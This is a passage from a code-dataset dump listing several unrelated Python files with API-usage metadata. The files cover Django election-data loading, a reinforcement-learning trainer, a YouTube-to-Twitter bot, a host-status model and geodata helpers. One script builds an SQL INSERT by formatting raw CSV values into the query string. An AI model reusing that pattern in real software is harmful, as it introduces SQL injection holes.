"models.Item.objects.get", "line_number": 32, "usage_type": "call"}, {"api_name": "models.Item.objects", "line_number": 32, "usage_type": "attribute"}, {"api_name": "models.Item", "line_number": 32, "usage_type": "name"}, {"api_name": "models.Item.DoesNotExist", "line_number": 33, "usage_type": "attribute"}, {"api_name": "models.Item", "line_number": 33, "usage_type": "name"}, {"api_name": "rest_framework.response.Response", "line_number": 34, "usage_type": "call"}, {"api_name": "rest_framework.status.HTTP_400_BAD_REQUEST", "line_number": 34, "usage_type": "attribute"}, {"api_name": "rest_framework.status", "line_number": 34, "usage_type": "name"}, {"api_name": "serializer.ItemSerializer", "line_number": 37, "usage_type": "call"}, {"api_name": "rest_framework.response.Response", "line_number": 38, "usage_type": "call"}, {"api_name": "serializer.data", "line_number": 38, "usage_type": "attribute"}, {"api_name": "serializer.ItemSerializer", "line_number": 41, "usage_type": "call"}, {"api_name": "serializer.is_valid", "line_number": 42, "usage_type": "call"}, {"api_name": "serializer.save", "line_number": 43, "usage_type": "call"}, {"api_name": "rest_framework.response.Response", "line_number": 44, "usage_type": "call"}, {"api_name": "serializer.data", "line_number": 44, "usage_type": "attribute"}, {"api_name": "rest_framework.response.Response", "line_number": 46, "usage_type": "call"}, {"api_name": "serializer.errors", "line_number": 47, "usage_type": "attribute"}, {"api_name": "rest_framework.status.HTTP_400_BAD_REQUEST", "line_number": 47, "usage_type": "attribute"}, {"api_name": "rest_framework.status", "line_number": 47, "usage_type": "name"}, {"api_name": "rest_framework.response.Response", "line_number": 51, "usage_type": "call"}, {"api_name": "rest_framework.status.HTTP_204_NO_CONTENT", "line_number": 51, "usage_type": "attribute"}, {"api_name": "rest_framework.status", "line_number": 51, "usage_type": "name"}, {"api_name": "rest_framework.decorators.api_view", "line_number": 29, "usage_type": "call"}]} +{"seq_id": "487620509", "text": "import pandas as pd\nimport geopandas as gpd\nfrom django.db import connection\n\nfrom historical.models import Historical\n\ndf = pd.read_csv('data/historical_data.csv')\ndf_geo = gpd.read_file('data/illinois.json').set_index('COUNTY_NAM')\n\n# should always find the lookup\ndef county_to_id(county):\n county = county.upper()\n if county == 'DE WITT':\n county = 'DEWITT'\n elif county == 'JO DAVIESS':\n county = 'JODAVIESS'\n if county not in df_geo.index:\n raise ValueError(\"missing county: {}\".format(county))\n return df_geo.loc[county].DISTRICT\n\ndf['county'] = df['county'].apply(county_to_id)\nfor _, r in df.iterrows():\n query = \"INSERT INTO historical VALUES ({}, '{}', '{}', {}, {})\".format(r.year, r.party.title(), r.candidate, r.county, r.candidatevotes)\n with connection.cursor() as cursor:\n cursor.execute(query)\n", "sub_path": "webApp/ElectionViz/push_historical.py", "file_name": "push_historical.py", "file_ext": "py", "file_size_in_byte": 861, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "17", "api": [{"api_name": "pandas.read_csv", "line_number": 7, "usage_type": "call"}, {"api_name": "geopandas.read_file", "line_number": 8, "usage_type": "call"}, {"api_name": "django.db.connection.cursor", "line_number": 24, "usage_type": "call"}, {"api_name": "django.db.connection", "line_number": 24, "usage_type": "name"}]} +{"seq_id": "364694377", "text": "from inspect import getmembers, ismethod\nfrom server.arbuz.base import *\nfrom django import template\nregister = template.Library()\n\nclass Base_Tag_Manager(Dynamic_Base):\n\n def __init__(self, task, values, request=None):\n Dynamic_Base.__init__(self, request)\n self.values = values\n\n methods = getmembers(self, predicate=ismethod)\n methods = [method[0] for method in methods]\n\n for method in methods:\n if task in method:\n self.OUT = getattr(self.__class__, method)(self)\n", "sub_path": "server/arbuz/templatetags/base.py", "file_name": "base.py", "file_ext": "py", "file_size_in_byte": 533, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "17", "api": [{"api_name": "django.template.Library", "line_number": 4, "usage_type": "call"}, {"api_name": "django.template", "line_number": 4, "usage_type": "name"}, {"api_name": "inspect.getmembers", "line_number": 12, "usage_type": "call"}, {"api_name": "inspect.ismethod", "line_number": 12, "usage_type": "name"}]} +{"seq_id": "589667629", "text": "import environments.envs as envs \nimport policies.ind.cem as cem\nimport argparse\nimport torch\nimport torch.nn.functional as F\nimport math\nimport utils\nimport numpy as np\nfrom collections import deque\nimport csv\nimport os\n\n\nclass Trainer:\n def __init__(self, env_name, params):\n self.env_name = env_name\n self.env = envs.make(env_name)\n self.action_bound = self.env.action_bound[1]\n\n self.iterations = params[\"iterations\"]\n self.gamma = params[\"gamma\"]\n self.seed = params[\"seed\"]\n self.pop_size = params[\"pop_size\"]\n self.elite_frac = params[\"elite_frac\"]\n self.sigma = params[\"sigma\"]\n self.render = params[\"render\"]\n self.log_interval = params[\"log_interval\"]\n self.save = params[\"save\"]\n\n state_dim = self.env.observation_space\n action_dim = self.env.action_space\n hidden_dim = params[\"hidden_dim\"]\n cuda = params[\"cuda\"]\n\n self.agent = cem.CEM(state_dim, hidden_dim, action_dim, GPU=cuda)\n\n if cuda:\n self.Tensor = torch.cuda.FloatTensor\n self.agent = self.agent.cuda()\n else:\n self.Tensor = torch.Tensor\n \n if self.render:\n self.env.init_rendering()\n \n # initialize experiment logging\n self.logging = params[\"logging\"]\n if self.logging:\n directory = os.getcwd()\n filename = directory + \"/data/cem.csv\"\n with open(filename, \"w\") as csvfile:\n self.writer = csv.writer(csvfile)\n self.writer.writerow([\"episode\", \"reward\"])\n self.train()\n else:\n self.train()\n\n def train(self):\n def evaluate(weights, rend):\n self.agent.set_weights(weights)\n episode_return = 0.0\n state = self.env.reset()\n if rend:\n self.env.render()\n for t in range(self.env.H):\n state = self.Tensor(state)\n action = self.agent(state)\n state, reward, done, _ = self.env.step(action*self.action_bound)\n if rend:\n self.env.render()\n episode_return += reward*math.pow(self.gamma, t)\n if done:\n break\n return episode_return\n n_elite=int(self.pop_size*self.elite_frac)\n scores_deque = deque(maxlen=100)\n best_weight = self.sigma*np.random.randn(self.agent.get_weights_dim())\n for i_iteration in range(1, self.iterations+1):\n weights_pop = [best_weight+(self.sigma*np.random.randn(self.agent.get_weights_dim())) for i in range(self.pop_size)]\n rewards = np.array([evaluate(weights, False) for weights in weights_pop])\n elite_idxs = rewards.argsort()[-n_elite:]\n elite_weights = [weights_pop[i] for i in elite_idxs]\n best_weight = np.array(elite_weights).mean(axis=0)\n if i_iteration % self.log_interval == 0:\n reward = evaluate(best_weight, True)\n else:\n reward = evaluate(best_weight, False)\n scores_deque.append(reward)\n if i_iteration % self.log_interval == 0:\n print('Episode {}\\tAverage Score: {:.2f}'.format(i_iteration, np.mean(scores_deque)))\n if self.logging:\n self.writer.writerow([i_iteration, np.mean(scores_deque).item()])", "sub_path": "trainers/cem.py", "file_name": "cem.py", "file_ext": "py", "file_size_in_byte": 3441, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "17", "api": [{"api_name": "environments.envs.make", "line_number": 17, "usage_type": "call"}, {"api_name": "environments.envs", "line_number": 17, "usage_type": "name"}, {"api_name": "policies.ind.cem.CEM", "line_number": 35, "usage_type": "call"}, {"api_name": "policies.ind.cem", "line_number": 35, "usage_type": "name"}, {"api_name": "torch.cuda", "line_number": 38, "usage_type": "attribute"}, {"api_name": "torch.Tensor", "line_number": 41, "usage_type": "attribute"}, {"api_name": "os.getcwd", "line_number": 49, "usage_type": "call"}, {"api_name": "csv.writer", "line_number": 52, "usage_type": "call"}, {"api_name": "math.pow", "line_number": 71, "usage_type": "call"}, {"api_name": "collections.deque", "line_number": 76, "usage_type": "call"}, {"api_name": "numpy.random.randn", "line_number": 77, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 77, "usage_type": "attribute"}, {"api_name": "numpy.random.randn", "line_number": 79, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 79, "usage_type": "attribute"}, {"api_name": "numpy.array", "line_number": 80, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 83, "usage_type": "call"}, {"api_name": "numpy.mean", "line_number": 90, "usage_type": "call"}, {"api_name": "numpy.mean", "line_number": 92, "usage_type": "call"}]} +{"seq_id": "277648983", "text": "#Version 3.0 create by Vassia Bonandrini\r\n#Last release : 07/04/2020\r\n\r\nimport json\r\nimport urllib.request\r\nimport time\r\nimport requests\r\nimport os\r\nfrom pytube import YouTube\r\n\r\n#import for twitter\r\nimport sys\r\nfrom requests_oauthlib import OAuth1\r\n\r\ncount =50\r\nAPI_KEY = ''\r\nsearchTerm=\"lofi\"\r\nwaittime=3600.0*24\r\ntime_video = 0.49 #in secondes\r\n\r\nOAUTH_TOKEN = \"\"\r\nOAUTH_SECRET = \"\"\r\nCONSUMER_KEY = \"\"\r\nCONSUMER_SECRET = \"\"\r\n\r\nwhile(True):\t\r\n\tstarttime=time.time()\r\n\tvideoId=\"\"\r\n\tcontenu=\"\"\r\n\tpage=\"\"\r\n\tLINK=\"\"\r\n\tNOM_VID=\"\"\r\n\r\n\t#get Youtube link\r\n\tprint(\"-------------SEARCH YOUTUBE LINK-------------\\n\")\r\n\r\n\tfile=open(\"liens.txt\",\"r\")\r\n\ttry:\r\n\t\tcontenu=file.read()\r\n\texcept:\r\n\t\tprint(\"le fichier est vide\")\r\n\tfile.close()\r\n\t\r\n\twhile(True):\r\n\r\n\t\turlData = \"https://www.googleapis.com/youtube/v3/search?key={}&maxResults={}&part=snippet&type=video&q={}&pageToken={}\".format(API_KEY,count,searchTerm,page)\r\n\t\twebURL = urllib.request.urlopen(urlData)\r\n\t\tdata = webURL.read()\r\n\t\tencoding = webURL.info().get_content_charset('utf-8')\r\n\t\tresults = json.loads(data.decode(encoding))\r\n\t\tpage=results['nextPageToken']\r\n\r\n\t\tfor data in results['items']:\r\n\t\t\tvideoId = (data['id']['videoId'])\r\n\t\t\tif ((videoId not in contenu) and (data['snippet']['liveBroadcastContent']=='none')):\r\n\t\t\t\tLINK=\"https://www.youtube.com/watch?v=\"+videoId\r\n\t\t\t\ttry:\r\n\t\t\t\t\tyt=YouTube(LINK)\r\n\t\t\t\texcept:\r\n\t\t\t\t\tcontinue\r\n\t\t\t\tNOM_VID=data['snippet']['title']\r\n\t\t\t\tprint(LINK)\r\n\t\t\t\tfile=open(\"liens.txt\",\"a\")\r\n\t\t\t\tfile.write(videoId+\"\\n\")\r\n\t\t\t\tfile.close()\r\n\t\t\t\tbreak\r\n\t\telse:\r\n\t\t\tprint(\"changement de page !\\n\")\r\n\t\t\tcontinue\r\n\t\tbreak\r\n\r\n\tprint(\"-------------DOWNLOAD VIDEO-------------\\n\")\r\n\tt=yt.streams.filter(subtype='mp4')\r\n\tt[0].download(filename='video')\r\n\r\n\tprint(\"-------------CUT VIDEO-------------\\n\")\r\n\tfrom moviepy.editor import *\r\n\r\n\tclip=VideoFileClip(\"video.mp4\").subclip(0,(time_video,0))\r\n\tclip.write_videofile(\"temp.mp4\",audio_codec='aac')\r\n\tclip.close()\r\n\r\n\t#os.remove(\"video.mp4\")\r\n\t#post on twitter\r\n\tprint(\"-------------Post on Twitter-------------\\n\")\r\n\t\r\n\tNOM_VID=NOM_VID+\" #lofi #study #chill \"+LINK\r\n\tMEDIA_ENDPOINT_URL = 'https://upload.twitter.com/1.1/media/upload.json'\r\n\tPOST_TWEET_URL = 'https://api.twitter.com/1.1/statuses/update.json'\r\n\r\n\toauth = OAuth1(CONSUMER_KEY,\r\n\t client_secret=CONSUMER_SECRET,\r\n\t resource_owner_key=OAUTH_TOKEN,\r\n\t resource_owner_secret=OAUTH_SECRET)\r\n\r\n\tclass VideoTweet(object):\r\n\t\tdef __init__(self, file_name):\r\n\t\t\t'''\r\n\t\t\tDefines video tweet properties\r\n\t\t\thttps://github.com/twitterdev/large-video-upload-python/blob/master/async-upload.py\r\n\t\t\t'''\r\n\t\t\tself.video_filename = file_name\r\n\t\t\tself.total_bytes = os.path.getsize(self.video_filename)\r\n\t\t\tself.media_id = None\r\n\t\t\tself.processing_info = None\r\n\r\n\t\tdef upload_init(self):\r\n\t\t\t'''\r\n\t\t\tInitializes Upload\r\n\t\t\t'''\r\n\t\t\tprint('INIT')\r\n\r\n\t\t\trequest_data = {\r\n\t\t\t 'command': 'INIT',\r\n\t\t\t 'media_type': 'video/mp4',\r\n\t\t\t 'total_bytes': self.total_bytes,\r\n\t\t\t 'media_category': 'tweet_video'\r\n\t\t\t}\r\n\r\n\t\t\treq = requests.post(url=MEDIA_ENDPOINT_URL, data=request_data, auth=oauth)\r\n\t\t\tmedia_id = req.json()['media_id']\r\n\r\n\t\t\tself.media_id = media_id\r\n\r\n\t\t\tprint('Media ID: %s' % str(media_id))\r\n\r\n\r\n\t\tdef upload_append(self):\r\n\t\t\t'''\r\n\t\t\tUploads media in chunks and appends to chunks uploaded\r\n\t\t\t'''\r\n\t\t\tsegment_id = 0\r\n\t\t\tbytes_sent = 0\r\n\t\t\tfile = open(self.video_filename, 'rb')\r\n\r\n\t\t\twhile bytes_sent < self.total_bytes:\r\n\t\t\t chunk = file.read(4*1024*1024)\r\n\t\t\t \r\n\t\t\t print('APPEND')\r\n\r\n\t\t\t request_data = {\r\n\t\t\t\t'command': 'APPEND',\r\n\t\t\t\t'media_id': self.media_id,\r\n\t\t\t\t'segment_index': segment_id\r\n\t\t\t }\r\n\r\n\t\t\t files = {\r\n\t\t\t\t'media':chunk\r\n\t\t\t }\r\n\r\n\t\t\t req = requests.post(url=MEDIA_ENDPOINT_URL, data=request_data, files=files, auth=oauth)\r\n\r\n\t\t\t if req.status_code < 200 or req.status_code > 299:\r\n\t\t\t print(req.status_code)\r\n\t\t\t print(req.text)\r\n\t\t\t sys.exit(0)\r\n\r\n\t\t\t segment_id = segment_id + 1\r\n\t\t\t bytes_sent = file.tell()\r\n\r\n\t\t\t print('%s of %s bytes uploaded' % (str(bytes_sent), str(self.total_bytes)))\r\n\r\n\t\t\tprint('Upload chunks complete.')\r\n\r\n\r\n\t\tdef upload_finalize(self):\r\n\t\t\t'''\r\n\t\t\tFinalizes uploads and starts video processing\r\n\t\t\t'''\r\n\t\t\tprint('FINALIZE')\r\n\r\n\t\t\trequest_data = {\r\n\t\t\t 'command': 'FINALIZE',\r\n\t\t\t 'media_id': self.media_id\r\n\t\t\t}\r\n\r\n\t\t\treq = requests.post(url=MEDIA_ENDPOINT_URL, data=request_data, auth=oauth)\r\n\r\n\t\t\tself.processing_info = req.json().get('processing_info', None)\r\n\t\t\tself.check_status()\r\n\r\n\t\tdef check_status(self):\r\n\t\t\t'''\r\n\t\t\tChecks video processing status\r\n\t\t\t'''\r\n\t\t\tif self.processing_info is None:\r\n\t\t\t return\r\n\r\n\t\t\tstate = self.processing_info['state']\r\n\r\n\t\t\tprint('Media processing status is %s ' % state)\r\n\r\n\t\t\tif state == u'succeeded':\r\n\t\t\t return\r\n\r\n\t\t\tif state == u'failed':\r\n\t\t\t sys.exit(0)\r\n\r\n\t\t\tcheck_after_secs = self.processing_info['check_after_secs']\r\n\t\t\t\r\n\t\t\tprint('Checking after %s seconds' % str(check_after_secs))\r\n\t\t\ttime.sleep(check_after_secs)\r\n\r\n\t\t\tprint('STATUS')\r\n\r\n\t\t\trequest_params = {\r\n\t\t\t 'command': 'STATUS',\r\n\t\t\t 'media_id': self.media_id\r\n\t\t\t}\r\n\r\n\t\t\treq = requests.get(url=MEDIA_ENDPOINT_URL, params=request_params, auth=oauth)\r\n\t\t\t\r\n\t\t\tself.processing_info = req.json().get('processing_info', None)\r\n\t\t\tself.check_status()\r\n\r\n\r\n\t\tdef tweet(self):\r\n\t\t\t'''\r\n\t\t\tPublishes Tweet with attached video\r\n\t\t\t'''\r\n\t\t\trequest_data = {\r\n\t\t\t 'status': NOM_VID,\r\n\t\t\t 'media_ids': self.media_id\r\n\t\t\t}\r\n\r\n\t\t\treq = requests.post(url=POST_TWEET_URL, data=request_data, auth=oauth)\r\n\r\n\tvideoTweet = VideoTweet(\"temp.mp4\")\r\n\tvideoTweet.upload_init()\r\n\tvideoTweet.upload_append()\r\n\tvideoTweet.upload_finalize()\r\n\tvideoTweet.tweet()\r\n\t\t\r\n\tos.remove(\"temp.mp4\")\r\n\tos.remove(\"video.mp4\")\r\n\ttime.sleep(waittime- ((time.time() - starttime) % waittime))\r\n", "sub_path": "TotoroXLofiBot.py", "file_name": "TotoroXLofiBot.py", "file_ext": "py", "file_size_in_byte": 5737, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "17", "api": [{"api_name": "time.time", "line_number": 27, "usage_type": "call"}, {"api_name": "urllib.request.request.urlopen", "line_number": 47, "usage_type": "call"}, {"api_name": "urllib.request.request", "line_number": 47, "usage_type": "attribute"}, {"api_name": "urllib.request", "line_number": 47, "usage_type": "name"}, {"api_name": "json.loads", "line_number": 50, "usage_type": "call"}, {"api_name": "pytube.YouTube", "line_number": 58, "usage_type": "call"}, {"api_name": "requests_oauthlib.OAuth1", "line_number": 91, "usage_type": "call"}, {"api_name": "os.path.getsize", "line_number": 103, "usage_type": "call"}, {"api_name": "os.path", "line_number": 103, "usage_type": "attribute"}, {"api_name": "requests.post", "line_number": 120, "usage_type": "call"}, {"api_name": "requests.post", "line_number": 151, "usage_type": "call"}, {"api_name": "sys.exit", "line_number": 156, "usage_type": "call"}, {"api_name": "requests.post", "line_number": 177, "usage_type": "call"}, {"api_name": "sys.exit", "line_number": 197, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 202, "usage_type": "call"}, {"api_name": "requests.get", "line_number": 211, "usage_type": "call"}, {"api_name": "requests.post", "line_number": 226, "usage_type": "call"}, {"api_name": "os.remove", "line_number": 234, "usage_type": "call"}, {"api_name": "os.remove", "line_number": 235, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 236, "usage_type": "call"}, {"api_name": "time.time", "line_number": 236, "usage_type": "call"}]} +{"seq_id": "120951826", "text": "from __future__ import annotations\n\nfrom datetime import datetime\n\nfrom requests import get\nfrom sqlalchemy import Boolean, String, Table, ForeignKey\nfrom sqlalchemy import Column, DateTime\nfrom sqlalchemy.orm import Session, relationship\nfrom sqlalchemy_utils import UUIDType\nfrom urllib3.exceptions import NewConnectionError\n\nfrom app.models.base import Base, db_session\nfrom app.models.mixins import CreatedAtMixin, UpdatedAtMixin\n\nds_host_relation = Table('ds_host_relation', Base.metadata,\n Column('host', String(),\n ForeignKey(f'hosts.url', ondelete=\"CASCADE\", )),\n Column('device', UUIDType(),\n ForeignKey(f'device_switch.identifier', ondelete=\"CASCADE\"))\n )\n\n\nclass Host(CreatedAtMixin, UpdatedAtMixin, Base):\n __tablename__ = 'hosts'\n url = Column(String(), primary_key=True)\n is_online = Column(Boolean(), nullable=False, default=False)\n last_time_was_saw_online = Column(DateTime, default=datetime.utcnow, index=True)\n device_switch = relationship(\"DeviceSwitch\", secondary=ds_host_relation,\n back_populates=\"hosts\")\n\n def check_online(self, db: Session = db_session):\n\n try:\n response = get(url=f'http://{self.url}/0')\n print(response.status_code)\n print(f'http://{self.url}/0')\n if response.status_code == 200:\n self.last_time_was_saw_online = datetime.utcnow()\n self.is_online = True\n db.commit()\n return\n except Exception as e:\n pass\n self.is_online = False\n db.commit()\n time_delta = (datetime.utcnow() - self.last_time_was_saw_online )\n total_seconds = time_delta.total_seconds()\n minutes = total_seconds / 60\n print(minutes)\n if minutes > 2:\n self.delete(db=db)\n\n def add(self, db: Session = db_session):\n try:\n db.add(self)\n db.commit()\n except Exception as e:\n db.rollback()\n raise e\n\n @classmethod\n def query_by_url(cls, url, db: Session = db_session) -> Host:\n return db.query(cls).filter(cls.url == url).first()\n\n def delete(self, db: Session = db_session):\n db.delete(self)\n db.commit()\n\n @classmethod\n def get_all(cls, db: Session = db_session):\n return db.query(cls).all()\n", "sub_path": "src/app/models/Hosts.py", "file_name": "Hosts.py", "file_ext": "py", "file_size_in_byte": 2476, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "17", "api": [{"api_name": "sqlalchemy.Table", "line_number": 15, "usage_type": "call"}, {"api_name": "app.models.base.Base.metadata", "line_number": 15, "usage_type": "attribute"}, {"api_name": "app.models.base.Base", "line_number": 15, "usage_type": "name"}, {"api_name": "sqlalchemy.Column", "line_number": 16, "usage_type": "call"}, {"api_name": "sqlalchemy.String", "line_number": 16, "usage_type": "call"}, {"api_name": "sqlalchemy.ForeignKey", "line_number": 17, "usage_type": "call"}, {"api_name": "sqlalchemy.Column", "line_number": 18, "usage_type": "call"}, {"api_name": "sqlalchemy_utils.UUIDType", "line_number": 18, "usage_type": "call"}, {"api_name": "sqlalchemy.ForeignKey", "line_number": 19, "usage_type": "call"}, {"api_name": "app.models.mixins.CreatedAtMixin", "line_number": 23, "usage_type": "name"}, {"api_name": "app.models.mixins.UpdatedAtMixin", "line_number": 23, "usage_type": "name"}, {"api_name": "app.models.base.Base", "line_number": 23, "usage_type": "name"}, {"api_name": "sqlalchemy.Column", "line_number": 25, "usage_type": "call"}, {"api_name": "sqlalchemy.String", "line_number": 25, "usage_type": "call"}, {"api_name": "sqlalchemy.Column", "line_number": 26, "usage_type": "call"}, {"api_name": "sqlalchemy.Boolean", "line_number": 26, "usage_type": "call"}, {"api_name": "sqlalchemy.Column", "line_number": 27, "usage_type": "call"}, {"api_name": "sqlalchemy.DateTime", "line_number": 27, "usage_type": "argument"}, {"api_name": "datetime.datetime.utcnow", "line_number": 27, "usage_type": "attribute"}, {"api_name": "datetime.datetime", "line_number": 27, "usage_type": "name"}, {"api_name": "sqlalchemy.orm.relationship", "line_number": 28, "usage_type": "call"}, {"api_name": "sqlalchemy.orm.Session", "line_number": 31, "usage_type": "name"}, {"api_name": "app.models.base.db_session", "line_number": 31, "usage_type": "name"}, {"api_name": "requests.get", "line_number": 34, "usage_type": "call"}, {"api_name": "datetime.datetime.utcnow", "line_number": 38, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 38, "usage_type": "name"}, {"api_name": "datetime.datetime.utcnow", "line_number": 46, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 46, "usage_type": "name"}, {"api_name": "sqlalchemy.orm.Session", "line_number": 53, "usage_type": "name"}, {"api_name": "app.models.base.db_session", "line_number": 53, "usage_type": "name"}, {"api_name": "sqlalchemy.orm.Session", "line_number": 62, "usage_type": "name"}, {"api_name": "app.models.base.db_session", "line_number": 62, "usage_type": "name"}, {"api_name": "sqlalchemy.orm.Session", "line_number": 65, "usage_type": "name"}, {"api_name": "app.models.base.db_session", "line_number": 65, "usage_type": "name"}, {"api_name": "sqlalchemy.orm.Session", "line_number": 70, "usage_type": "name"}, {"api_name": "app.models.base.db_session", "line_number": 70, "usage_type": "name"}]} +{"seq_id": "42224031", "text": "import json\nfrom collections import OrderedDict\n\nfrom coverage.html import escape\n\nfrom mangrove.datastore.entity import get_all_entities\nfrom mangrove.errors.MangroveException import DataObjectNotFound\nfrom mangrove.form_model.field import UniqueIdUIField, field_attributes\n\n\ndef geo_jsons(manager, entity_type, filters, details, specials):\n entity_fields = manager.view.registration_form_model_by_entity_type(key=[entity_type], include_docs=True)[0][\"doc\"][\"json_fields\"]\n\n geo_jsons = [{\n \"name\": entity_type.capitalize(),\n \"data\": _geo_json(manager, entity_type, entity_fields, dict(filters), details),\n \"color\": \"rgb(104, 174, 59)\"\n }]\n\n for special in specials:\n field = [field for field in entity_fields if field['code'] == special][0]\n group = {\"group\": field['label'], \"data\": []}\n for choice in specials[special]:\n filters_with_special = dict(filters)\n filters_with_special.update({special: choice['value']})\n is_geojson_for_special_required = True\n if special in filters.keys() and choice['value'] not in dict(filters).get(special):\n is_geojson_for_special_required = False\n matched_choices = [c['text'] for c in field['choices'] if c['val'] == choice['value']]\n if matched_choices:\n data = _geo_json(manager, entity_type, entity_fields, filters_with_special,\n details) if is_geojson_for_special_required else {'features': [],\n 'type': 'FeatureCollection'}\n group[\"data\"].append({\n \"name\": matched_choices[0],\n \"data\": data,\n \"color\": choice['color']\n })\n geo_jsons.append(group)\n\n return json.dumps(geo_jsons)\n\n\ndef get_first_geocode_field_for_entity_type(entity_all_fields):\n geocode_fields = [f for f in\n entity_all_fields if\n f[\"type\"] == \"geocode\"]\n return geocode_fields[0] if len(geocode_fields) > 0 else None\n\n\ndef get_location_list_for_entities(first_geocode_field, unique_ids):\n location_list = []\n for entity in unique_ids:\n value_dict = entity.data.get(first_geocode_field[\"name\"])\n if value_dict and value_dict.has_key('value'):\n value = value_dict[\"value\"]\n location_list.append(_to_json_point(value))\n return location_list\n\n\ndef get_location_list_for_datasenders(datasenders):\n location_list = []\n for entity in datasenders:\n geocode = entity.geometry\n if geocode:\n value = (geocode[\"coordinates\"][0], geocode[\"coordinates\"][1])\n location_list.append(_to_json_point(value))\n return location_list\n\n\ndef _geo_json(dbm, entity_type, entity_fields, filters, details):\n location_list = []\n\n try:\n forward_filters, reverse_filters = _transform_filters(filters, entity_fields)\n first_geocode_field = get_first_geocode_field_for_entity_type(entity_fields)\n if first_geocode_field:\n unique_ids = get_all_entities(\n dbm, [entity_type], 1000, forward_filters, reverse_filters\n )\n details.extend(['q2'])\n fields_to_show = filter(lambda field: field['code'] in details, entity_fields)\n location_list.extend(_get_detail_list_for_entities(\n _get_field_labels(fields_to_show),\n first_geocode_field,\n unique_ids\n ))\n\n except DataObjectNotFound:\n pass\n\n return {\"type\": \"FeatureCollection\", \"features\": location_list}\n\n\ndef _transform_filters(filters, entity_all_fields):\n d = dict((field['code'], field) for field in entity_all_fields)\n forward_filters = {}\n reverse_filters = {}\n for f in filters:\n if len(f.split(\",\")) > 1 or d[f][\"type\"] == field_attributes.UNIQUE_ID_FIELD:\n if \"\" not in filters[f]:\n if len(f.split(\",\")) > 1:\n reverse_filters[filters[f][0]] = [d[qn]['name'] for qn in f.split(\",\")]\n else:\n forward_filters[d[f]['name']] = filters[f][0]\n else:\n forward_filters[d[f]['name']] = \\\n [choice['text'] for choice in d[f]['choices'] if choice['val'] in filters[f]]\n return forward_filters, reverse_filters\n\n\ndef _get_entity_options(dbm, entity_type):\n return [(entity.short_code, escape(entity.data['name']['value'])) for entity in get_all_entities(dbm, [entity_type])]\n\n\ndef _get_field_labels(entity_fields):\n dict_simplified = OrderedDict()\n for field in entity_fields :\n dict_simplified[field['name']] = field['label']\n return dict_simplified\n\n\ndef _get_detail_list_for_entities(entity_field_labels, first_geocode_field, unique_ids):\n detail_list = []\n for entity in unique_ids:\n value_dict = entity.data.get(first_geocode_field[\"name\"])\n if value_dict and value_dict.has_key('value'):\n value = value_dict[\"value\"]\n detail_list.append(_to_json_detail(value, entity_field_labels, entity.data, entity.type_string))\n return detail_list\n\n\ndef _to_json_detail(value, entity_field_labels, data=None, entity_type=None):\n detail_json = _to_json_point(value)\n detail_json['properties'] = _simplify_field_data(data, entity_field_labels, entity_type)\n return detail_json\n\n\ndef _to_json_point(value):\n point_json = { \"type\": \"Feature\", \"geometry\":\n {\n \"type\": \"Point\",\n \"coordinates\": [\n value[1],\n value[0]\n ]\n }\n }\n return point_json\n\n\ndef _simplify_field_data(data, entity_field_labels, entity_type=None):\n simple_data = OrderedDict()\n\n if entity_type is not None:\n simple_data['entity_type'] = {}\n simple_data['entity_type'][\"value\"] = entity_type\n simple_data['entity_type'][\"label\"] = \"\"\n\n entity_details = [(key, data.get(key)) for key in entity_field_labels if key in data.keys()]\n\n for key, value_field in entity_details:\n one_field_data = {}\n one_field_data[\"value\"]= value_field[\"value\"]\n\n if key != \"entity_type\":\n if key == \"mobile_number\" and entity_type is None:\n one_field_data[\"label\"]= entity_field_labels[\"telephone_number\"]\n else:\n one_field_data[\"label\"]= entity_field_labels[key]\n else:\n one_field_data[\"label\"] = \"\"\n\n simple_data[key] = one_field_data\n\n return simple_data\n", "sub_path": "datawinners/entity/geo_data.py", "file_name": "geo_data.py", "file_ext": "py", "file_size_in_byte": 6599, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "17", "api": [{"api_name": "json.dumps", "line_number": 41, "usage_type": "call"}, {"api_name": "mangrove.datastore.entity.get_all_entities", "line_number": 78, "usage_type": "call"}, {"api_name": "mangrove.errors.MangroveException.DataObjectNotFound", "line_number": 89, "usage_type": "name"}, {"api_name": "mangrove.form_model.field.field_attributes.UNIQUE_ID_FIELD", "line_number": 100, "usage_type": "attribute"}, {"api_name": "mangrove.form_model.field.field_attributes", "line_number": 100, "usage_type": "name"}, {"api_name": "coverage.html.escape", "line_number": 113, "usage_type": "call"}, {"api_name": "mangrove.datastore.entity.get_all_entities", "line_number": 113, "usage_type": "call"}, {"api_name": "collections.OrderedDict", "line_number": 117, "usage_type": "call"}, {"api_name": "collections.OrderedDict", "line_number": 153, "usage_type": "call"}]} +{"seq_id": "495150788", "text": "\n# MULTI STOP ROUTE OPTIMIZATION DEMO\n\n#%%\nimport geopandas as gpd\nimport utils.travel_times as tts\nimport utils.routes_tt as rtts\n\ndigitransit = False\n\n#%%\n# read and filter test data (cinemas as stops)\ncinemas = gpd.read_file('data/temp/cinemas.shp')\nlarge_cinemas = cinemas.loc[cinemas['rooms'] > 1]\ntarget_points = large_cinemas[:8]\n\n#%%\n# get and gather target_info (ykr_ids, names & addresses)\ntarget_info = tts.gather_target_info(target_points, 'name', 'address_y', digitransit)\nprint(target_info)\n\n#%%\n# read and gather only relevant travel time dataframes to a dictionary\ntts_dict = tts.get_tt_between_targets_matrix(target_info, 'data/HelsinkiTravelTimeMatrix2018/')\n\n#%%\n# find and collect all possible route options\ntarget_perms = rtts.get_target_permutations(tts_dict)\n\n#%%\n# extract and collect travel times between stops for all route options\nperms_ttimes = rtts.get_all_ttimes(target_perms, tts_dict)\n\n#%%\n# calculate total travel times for all route options\nall_ttimes_summary = rtts.calculate_total_ttimes(perms_ttimes, target_info)\n\n#%%\n# get best routes from all route options by minimizing total travel time\nbest_routes = 